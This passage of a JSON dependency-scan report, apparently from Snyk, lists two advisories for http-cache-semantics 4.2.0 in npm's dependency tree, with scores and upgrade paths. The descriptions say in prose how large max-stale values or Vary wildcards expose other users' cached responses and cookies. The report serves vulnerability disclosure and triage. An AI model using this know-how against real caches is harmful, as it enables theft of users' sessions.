"make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmpublish@12.0.1", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmpublish@12.0.1", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": 